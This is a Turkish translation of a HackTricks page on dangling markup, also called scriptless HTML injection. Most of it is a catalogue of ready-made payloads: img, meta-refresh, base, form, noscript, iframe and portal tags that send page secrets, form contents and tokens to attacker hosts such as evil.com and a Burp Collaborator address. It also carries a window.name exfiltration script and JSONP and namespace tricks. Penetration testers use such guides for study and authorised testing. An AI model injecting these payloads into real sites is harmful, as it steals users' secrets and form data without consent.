.. | ||
README.md | ||
ss-leaks.md |
Sarkan İşaretleme - HTML betiksiz enjeksiyon
AWS hacklemeyi sıfırdan kahramana öğrenin htARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
HackTricks'i desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamını görmek istiyorsanız veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARI'na göz atın!
- Resmi PEASS & HackTricks ürünlerini edinin
- PEASS Ailesi'ni keşfedin, özel NFT'lerimiz koleksiyonumuz
- **💬 Discord grubuna veya telegram grubuna katılın veya Twitter 🐦 @carlospolopm'u takip edin.
- Hacking püf noktalarınızı paylaşarak PR'lar göndererek HackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Özet
Bu teknik, bir HTML enjeksiyonu bulunduğunda bir kullanıcıdan bilgi çıkarmak için kullanılabilir. Bu, XSS bir yol bulamazsanız ancak bazı HTML etiketleri enjekte edebilirseniz çok yararlıdır.
Ayrıca, bazı gizli bilgilerin açık metin olarak saklandığı durumlarda ve istemciden dışarı çıkarmak istediğinizde veya bazı betik yürütmesini yanıltmak istediğinizde de kullanışlıdır.
Burada yorumlanan çeşitli teknikler, bazı İçerik Güvenlik Politikası geçişlerini yapmak için beklenmeyen yollarla bilgi dışarı çıkararak kullanılabilir (html etiketleri, CSS, http-meta etiketleri, formlar, base...).
Ana Uygulamalar
Açık metin sırlarını çalmak
Sayfa yüklendiğinde <img src='http://evil.com/log.cgi?
enjekte ettiğinizde, kurban enjekte edilen img
etiketi ile kod arasındaki ve kod içindeki sonraki tırnak işareti arasındaki tüm kodu size gönderecektir. Eğer bir sır o kısımda bulunuyorsa, onu çalacaksınız (aynı şeyi çift tırnak kullanarak da yapabilirsiniz, hangisinin daha ilginç olabileceğine bakın).
Eğer img
etiketi yasaklanmışsa (örneğin CSP nedeniyle) ayrıca <meta http-equiv="refresh" content="4; URL='http://evil.com/log.cgi?
kullanabilirsiniz.
<img src='http://attacker.com/log.php?HTML=
<meta http-equiv="refresh" content='0; url=http://evil.com/log.php?text=
<meta http-equiv="refresh" content='0;URL=ftp://evil.com?a=
Dikkat etmeniz gereken bir diğer nokta Chrome, içinde "<" veya "\n" bulunan HTTP URL'leri engeller, bu yüzden "ftp" gibi diğer protokol şemalarını deneyebilirsiniz.
CSS @import
'i de istismar edebilirsiniz (";" karakterini bulana kadar tüm kodu gönderecektir)
<style>@import//hackvertor.co.uk? <--- Injected
<b>steal me!</b>;
Ayrıca <table
kullanabilirsiniz:
<table background='//your-collaborator-id.burpcollaborator.net?'
Ayrıca bir <base
etiketi de ekleyebilirsiniz. Tüm bilgiler kapanan tırnak işareti olana kadar gönderilecektir ancak bazı kullanıcı etkileşimi gerektirir (kullanıcının bazı bağlantıya tıklaması gerekir, çünkü base etiketi bağlantının işaret ettiği alanı değiştirmiştir):
<base target=' <--- Injected
steal me'<b>test</b>
Formları Çalma
<base href='http://evil.com/'>
Sonra, veri gönderen formlar (örneğin <form action='update_profile.php'>
) verileri kötü niyetli alan adına gönderecektir.
Formları Çalma 2
Bir form başlığı ayarlayın: <form action='http://evil.com/log_steal'>
bu, bir sonraki form başlığını geçersiz kılacak ve formdaki tüm veriler saldırganın yanına gönderilecektir.
Formları Çalma 3
Düğme, "formaction" özniteliği ile formun bilgilerinin nereye gönderileceğini değiştirebilir:
<button name=xss type=submit formaction='https://google.com'>I get consumed!
Bir saldırgan bunu bilgileri çalmak için kullanabilir.
Bu saldırının bir örneğini bu yazıda bulabilirsiniz.
Açık metin sırlarını çalmak 2
En son bahsedilen teknik kullanılarak formları çalmak için (yeni bir form başlığı enjekte etme) daha sonra yeni bir giriş alanı enjekte edebilirsiniz:
<input type='hidden' name='review_body' value="
Ve bu giriş alanı, HTML'deki çift tırnakları arasındaki tüm içeriği içerecektir. Bu saldırı, "Açık metin sırlarını çalma" ile "Formlar2 çalma" yöntemlerini birleştirir.
Aynı şeyi bir form ve bir <option>
etiketi enjekte ederek yapabilirsiniz. Kapanan bir </option>
bulunana kadar tüm veriler gönderilecektir:
<form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
Form parametre enjeksiyonu
Bir formun yolunu değiştirebilir ve yeni değerler ekleyerek beklenmeyen bir eylemin gerçekleştirilmesini sağlayabilirsiniz:
<form action='/change_settings.php'>
<input type='hidden' name='invite_user'
value='fredmbogo'> ← Injected lines
<form action="/change_settings.php"> ← Existing form (ignored by the parser)
...
<input type="text" name="invite_user" value=""> ← Subverted field
...
<input type="hidden" name="xsrf_token" value="12345">
...
</form>
noscript kullanarak açık metin sırlarını çalmak
<noscript></noscript>
Javascript'i desteklemeyen tarayıcılarda içeriği yorumlanacak bir etikettir (Chrome'da Javascript'i chrome://settings/content/javascript adresinde etkinleştirebilir/devre dışı bırakabilirsiniz).
Enjeksiyon noktasından sayfanın altına kadar web sayfasının içeriğini saldırganın kontrol ettiği bir siteye sızdırmak için şunu enjekte etmek olacaktır:
<noscript><form action=http://evil.com><input type=submit style="position:absolute;left:0;top:0;width:100%;height:100%;" type=submit value=""><textarea name=contents></noscript>
Kullanıcı etkileşimi ile CSP'nin atlatılması
Bu portswiggers araştırmasından öğrenebileceğiniz gibi, en CSP kısıtlı ortamlardan bile bazı kullanıcı etkileşimi ile hala veri sızdırabilirsiniz. Bu durumda kullanacağımız yük:
<a href=http://attacker.net/payload.html><font size=100 color=red>You must click me</font></a>
<base target='
Not: Kurbanı, sizi kontrol ettiğiniz payload'a yönlendirecek bir bağlantıya tıklamaya davet edeceksiniz. Ayrıca, base
etiketi içindeki target
özniteliği bir sonraki tek tırnak işaretine kadar HTML içeriği içerecektir.
Bu, bağlantıya tıklandığında window.name
'nin değerinin tüm bu HTML içeriği olacağı anlamına gelir. Dolayısıyla, bağlantıya tıklanarak erişilen sayfayı kontrol ettiğinizden, bu window.name
'e erişebilir ve bu veriyi dışa aktarabilirsiniz:
<script>
if(window.name) {
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
</script>
Yanıltıcı betik iş akışı 1 - HTML ad alanı saldırısı
HTML içine, bir sonraki etiketi üzerine yazacak ve bir betiğin akışını etkileyecek bir değerle birlikte yeni bir etiket ekleyin. Bu örnekte, hangi bilgilerin paylaşılacağını seçiyorsunuz:
<input type='hidden' id='share_with' value='fredmbogo'> ← Injected markup
...
Share this status update with: ← Legitimate optional element of a dialog
<input id='share_with' value=''>
...
function submit_status_update() {
...
request.share_with = document.getElementById('share_with').value;
...
}
Yanıltıcı betik iş akışı 2 - Betik ad alanı saldırısı
HTML etiketleri ekleyerek javascript ad alanı içinde değişkenler oluşturun. Daha sonra bu değişken uygulamanın akışını etkileyecektir:
<img id='is_public'> ← Injected markup
...
// Legitimate application code follows
function retrieve_acls() {
...
if (response.access_mode == AM_PUBLIC) ← The subsequent assignment fails in IE
is_public = true;
else
is_public = false;
}
function submit_new_acls() {
...
if (is_public) request.access_mode = AM_PUBLIC; ← Condition always evaluates to true
...
}
JSONP'nin Kötüye Kullanımı
Eğer bir JSONP arayüzü bulursanız, keyfi verilerle keyfi bir fonksiyonu çağırabilirsiniz:
<script src='/editor/sharing.js'>: ← Legitimate script
function set_sharing(public) {
if (public) request.access_mode = AM_PUBLIC;
else request.access_mode = AM_PRIVATE;
...
}
<script src='/search?q=a&call=set_sharing'>: ← Injected JSONP call
set_sharing({ ... })
Ya da bazı JavaScript kodlarını çalıştırmayı deneyebilirsiniz:
<script src='/search?q=a&call=alert(1)'></script>
Iframe kötüye kullanımı
Bir çocuk belgesi, üst belgenin location
özelliğini, hatta çapraz köken durumlarında bile görüntüleme ve değiştirme yeteneğine sahiptir. Bu, bir iframe içine gömülmüş bir betiği istemciyi keyfi bir sayfaya yönlendirebilecek şekilde izin verir:
<html><head></head><body><script>top.window.location = "https://attacker.com/hacked.html"</script></body></html>
Bu, şöyle bir şeyle hafifletilebilir: sandbox=' allow-scripts allow-top-navigation'
Bir iframe, iframe adı özniteliğini kullanarak farklı bir sayfadan hassas bilgilerin sızdırılmasında da istismar edilebilir. Bu, hassas bilgilerin iframe adı özniteliği içinde görünmesini sağlayan HTML enjeksiyonunu istismar eden bir iframe oluşturabileceğiniz anlamına gelir ve ardından başlangıç iframe'ından bu adı erişerek sızdırabilirsiniz.
<script>
function cspBypass(win) {
win[0].location = 'about:blank';
setTimeout(()=>alert(win[0].name), 500);
}
</script>
<iframe src="//subdomain1.portswigger-labs.net/bypassing-csp-with-dangling-iframes/target.php?email=%22><iframe name=%27" onload="cspBypass(this.contentWindow)"></iframe>
Daha fazla bilgi için buraya bakabilirsiniz.
<meta kötüye kullanımı
meta http-equiv
kullanarak bir Çerez ayarlamak gibi çeşitli eylemler gerçekleştirebilirsiniz: <meta http-equiv="Set-Cookie" Content="SESSID=1">
veya bir yönlendirme yapmak (bu durumda 5 saniye içinde): <meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />
Bu, http-equiv ile ilgili bir CSP ile önlenir (Content-Security-Policy: default-src 'self';
, veya Content-Security-Policy: http-equiv 'self';
)
Yeni <portal HTML etiketi
<portal etiketinin sömürülebilir zayıflıkları hakkında çok ilginç bir araştırma bulabilirsiniz burada.
Bu yazının yazıldığı sırada, Chrome'da chrome://flags/#enable-portals
adresinde portal etiketini etkinleştirmeniz gerekmektedir, aksi takdirde çalışmayacaktır.
<portal src='https://attacker-server?
HTML Sızıntıları
HTML'de bağlantı sızdırmak için tüm yöntemler Dangling Markup için faydalı olmayabilir, ancak bazen yardımcı olabilir. Buradan kontrol edebilirsiniz: https://github.com/cure53/HTTPLeaks/blob/master/leak.html
SS-Sızıntıları
Bu, dangling markup ve XS-Sızıntıları arasında bir karışım. Bir taraftan zafiyet, saldıracağımız sayfanın aynı kökenine ait bir sayfada HTML enjekte etmeye izin verir (ancak JS değil). Diğer taraftan, HTML enjekte edebileceğimiz sayfayı doğrudan saldırmayacağız, başka bir sayfa olacak.
{% content-ref url="ss-leaks.md" %} ss-leaks.md {% endcontent-ref %}
XS-Arama/XS-Sızıntıları
XS-Arama, yan kanal saldırılarını istismar ederek çapraz köken bilgilerini dışa aktarmaya yöneliktir. Bu nedenle, Dangling Markup'tan farklı bir tekniktir, ancak bazı teknikler HTML etiketlerinin (JS yürütmesiyle ve olmadan) dahil edilmesini istismar eder, örneğin CSS Enjeksiyonu veya Gecikmeli Yükleme Resimler.
{% content-ref url="../xs-search.md" %} xs-search.md {% endcontent-ref %}
Kaba Kuvvet Algılama Listesi
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/dangling_markup.txt" %}
Referanslar
- https://aswingovind.medium.com/content-spoofing-yes-html-injection-39611d9a4057
- http://lcamtuf.coredump.cx/postxss/
- http://www.thespanner.co.uk/2011/12/21/html-scriptless-attacks/
- https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup
Sıfırdan kahraman olmak için AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
- Şirketinizi HackTricks'te reklamınızı görmek veya HackTricks'i PDF olarak indirmek istiyorsanız ABONELİK PLANLARINI kontrol edin!
- Resmi PEASS & HackTricks ürünlerini edinin
- The PEASS Family koleksiyonumuzdaki özel NFT'leri keşfedin
- 💬 Discord grubuna veya telegram grubuna katılın veya bizi Twitter'da takip edin 🐦 @carlospolopm.
- Hacking püf noktalarınızı paylaşarak HackTricks ve HackTricks Cloud github depolarına PR göndererek katkıda bulunun HackTricks ve HackTricks Cloud.